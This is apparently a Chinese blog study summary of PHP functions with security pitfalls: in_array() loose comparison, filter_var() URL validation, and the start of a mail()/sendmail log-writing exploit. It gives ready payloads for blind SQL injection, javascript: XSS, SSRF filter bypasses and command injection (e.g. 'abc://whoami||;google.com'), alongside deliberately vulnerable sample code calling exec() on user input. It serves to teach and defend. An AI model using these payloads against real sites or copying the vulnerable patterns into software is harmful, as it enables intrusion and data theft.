php危险函数文章总结(一)

php危险函数文章总结(一)

因为被分配的任务是总结文章,所以就对一篇文章深深的研究了一下,以下基本都是对该下的文章的总结。
原文在这里

in_array()

in_array :(PHP 4, PHP 5, PHP 7)

功能 :检查数组中是否存在某个值

定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack,则返回 TRUE,否则返回 FALSE。

存在漏洞:

1. 上传漏洞(使用==)
原理:in_array()第三个参数默认为false。如果不进行设置,将会进行弱检查,即不会检查数据的类型。在校验的过程中,会自动选择性的进行强制类型转换,从而导致了弱类型的绕过。如:
in_array()函数检测上传文件时候,可未将第三个参数设置为true,从而导致攻击者构造文件名绕过服务端的检测。例如上传7shell.php在in_array()函数强制转换后变为7.php
例子:

<?php
$array = array(
    'abc' => true,
   'cheese' => false,
    'hair' => 765,
    'goblins' => null,
    'ogres' => 'no ogres allowed in this array'
);

// Loose checking -- return values are in comments
// First three make sense, last four do not
var_dump(in_array(null, $array)); // true 强制类型转换bool(false) 
var_dump(in_array(false, $array)); // true //可以被强制类型转换为null
var_dump(in_array(765, $array)); // true 
var_dump(in_array(763, $array)); // true 被强制类型转换为bool(true)
var_dump(in_array('egg', $array)); // true被强制类型转换为bool(true)
var_dump(in_array('hhh', $array)); // true被强制类型转换为bool(true)
var_dump(in_array(array(), $array)); // true被强制类型转换为bool(false) 和null


// Strict checking
var_dump(in_array(null, $array, true)); // true
var_dump(in_array(false, $array, true)); // true
var_dump(in_array(765, $array, true)); // true
var_dump(in_array(763, $array, true)); // false
var_dump(in_array('egg', $array, true)); // false
var_dump(in_array('hhh', $array, true)); // false
var_dump(in_array(array(), $array, true)); // false

?>

2、Sql注入
原理:与xss类似

$allow = array(1,true);
$payload = "1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));";
var_dump(in_array($a,$allow));
//转换为int(1)或 转换为bool(true) 从而绕过

修复建议:
可以看到这个漏洞的原因是弱类型比较问题,那么我们就可以使用强匹配进行修复。例如将 in_array() 函数的第三个参数设置为 true ,或者使用 intval() 函数将变量强转成数字,又或者使用正则匹配来处理变量。这里我将 in_array() 函数的第三个参数设置为 true ,并使用===

参考文献
http://www.mamicode.com/info-detail-2494382.html
https://blog.csdn.net/weixin_38230961/article/details/82142432

filter_var()

filter_var : (PHP 5 >= 5.2.0, PHP 7)
功能 : 使用特定的过滤器过滤一个变量

定义 : mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

作用: filter_var() 函数通过指定的过滤器过滤一个变量。

返回值: 如果成功,则返回被过滤的数据。如果失败,则返回 FALSE。

fileter可选项:
FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。
FILTER_FLAG_SCHEME_REQUIRED — 要求 URL 是 RFC 兼容 URL。(比如:http://example)
FILTER_FLAG_HOST_REQUIRED — 要求 URL 包含主机名(http://www.example.com)
FILTER_FLAG_PATH_REQUIRED — 要求 URL 在主机名后存在路径(比如:eg.com/example1/)
FILTER_FLAG_QUERY_REQUIRED — 要求 URL 存在查询字符串(比如:”eg.php?age=37")

存在的漏洞

1、xss漏洞

原理:
但是虽然是进行校验,在底层也是进行的正则匹配,因为验证的并不是非常严格,从而导致漏洞。如:

FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。

只需要满足url格式,无论输入什么都满足,比如 abc://a 只要有这个格式,后边无论是什么都满足。所以导致了使用javascript中的伪协议

if(isset($_GET['url'])){
	if($url = filter_var($_GET['url'],FILTER_VALIDATE_URL))
	{
		echo $url;
	}else{
		echo "this url is not allow";
	}
}else{
	echo "not found \$_GET['url']";
}

php危险函数文章总结(一)

PHP7.3.0+弃用)
FILTER_FLAG_SCHEME_REQUIRED - 要求 URLRFC 兼容 URL(比如 http://example)
FILTER_FLAG_HOST_REQUIRED - 要求 URL 包含主机名(比如 http://www.example.com)
FILTER_FLAG_PATH_REQUIRED - 要求 URL 在域名后存在路径(比如 www.example.com/example1/test2/FILTER_FLAG_QUERY_REQUIRED - 要求 URL 存在查询字符串(比如 “example.php?name=Peter&age=37”)

伪协议绕过

例子

payload : ?url=javascript://comment%250aalert(1)

:javascript后面的//是注释符,%25是url转义后的% ,所以%250a就是%0a,所以payload就成了javascript://comment
Alert(1)
php危险函数文章总结(一)
参考文献
javascript绕过xss
同上
filter_var 函数()使用javascript伪协议绕过执行xss
关于filter_var函数弃用参数

2、ssrf漏洞

原理: 同样是因为filter_var基层的正则匹配不严格

<?php

if(filter_var($_GET['url'],FILTER_VALIDATE_URL)){ 

  $r = parse_url($_GET['url']); print_r($r); 
  
  if(preg_match('/google.com$/', $r['host'])) { 
  
     echo  exec('curl "'.$r['host'].'"',$a); 
     
 print_r($a);
    }
  else { echo "Error: Host not allowed"; }
        }
        else { echo "Error: Invalid URL"; } ?>

payload : http://127.0.0.1/test2.php?url=0://www.baidu.com$google.com
(虽然话是这么说,但是我第一次弄,出来了。第二次再次尝试,却失败,哪里出错了呢?有大佬知道吗?)

解释:
其中可见过滤使用的是filter_var(URL,FILTER_VALIDATE_URL)+ parse_url(URL)+preg_match(’/google.com$/’, URL)+ file_get_contents(URL)

绕过正则匹配,只需要是以google.com结尾就OK了,所以这个时候就需要用到另外一个知识,如下:

许多URL方案中都有保留字符,保留字符都有特定含义。它们在URL的方案特定部分中的外观具有指定的语义。如果在一个方案中保留了与八位组相对应的字符,则该八位组必须被编码。除了字符“;”, “/”, “?”, “:”, “@”, “=” 和 “&” 被定义为保留字符,其余一律为不保留字符。
除了分层路径中的dot-segments之外,一般语法认为路径段不透明。 生成应用程序的URI通常使用段中允许的保留字符来分隔scheme-specific或者dereference-handler-specific子组件。 例如分号(“;”) 和等于(“=”) 保留字符通常用于分隔适用于该段的参数和参数值。 逗号(“,”) 保留字符通常用于类似目的。
例如,一个URI生产者可能使用一个段name;v=1.1来表示对“name”版本1.1的引用,而另一个可能使用诸如“name,1.1”的段来表示相同含义。参数类型可以由scheme-specific 语义来定义,但在大多数情况下,一个参数的语法是特定的URI引用算法的实现。

所以绕过的手段就成了

http://localhost/index.php?url=http://aaa@qq.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
http://127.0.0.1/test/?1=data://google.com/123;base64,SSBsb3ZlIFBIUAo=

PS: 最后一个payload的#符号,请换成对应的url编码 %23

再配合http:// file:// test://绕过 filter_var 的 FILTER_VALIDATE_URL 过滤器,这就导致了SSRF

php危险函数文章总结(一)Payload:
http://127.0.0.1/test/index7.php?1=data://google.com/123;base64,PHNjcmlwdD5hbGVydCgnMScpOzwvc2NyaXB0Pg==

注:base64,<script>alert(‘1’);</script>

参考文献
https://blog.csdn.net/qq_33020901/article/details/79580531
http://www.52bug.cn/hkjs/4631.html

命令执行:
换汤不换药,以下是一个CTF题型 原文

php危险函数文章总结(一)Payload: windows:
http://127.0.0.1/exchange/filter_var/domo2.php?url=test://"|type=flag.php;||"sec-redclub.com

自己搭建的与上类似的命令执行
php危险函数文章总结(一)
Payload:
127.0.0.1/test/index7.php?1=abc://whoami||;google.com

注: || 表示当前一句命令失败后才执行后面的语句

修复:
别过于信任filter_var对url,进行的判断,或者自己编写正则表达式进行匹配,另外注意避免同时使用 escapeshellcmd() 和 escapeshellarg() 函数对参数进行过滤

参考
https://xz.aliyun.com/t/2501#toc-5
http://www.am0s.com/functions/227.html

mail函数

php 内置函数 mail 所引发的命令执行漏洞。我们先看看 php 自带的 mail 函数的用法:

bool mail (
    string $to ,
    string $subject ,
    string $message [,
    string $additional_headers [,
    string $additional_parameters ]]
)

其参数含义分别表示如下:
• to,指定邮件接收者,即接收人
• subject,邮件的标题
• message,邮件的正文内容
• additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
• additional_parameters,指定传递给发送程序sendmail的额外参数。

在Linux系统上, php 的 mail 函数在底层中已经写好了,默认调用 Linux 的 sendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:
• -O option = value
QueueDirectory = queuedir 选择队列消息
• -X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况。
• -f from email
这个参数可以让我们指定我们发送邮件的邮箱地址。
下面这个样例中,我们使用 -X 参数指定日志文件,最终会在 /var/www/html/rce.php 中写入如下数据:
php危险函数文章总结(一)

猜你喜欢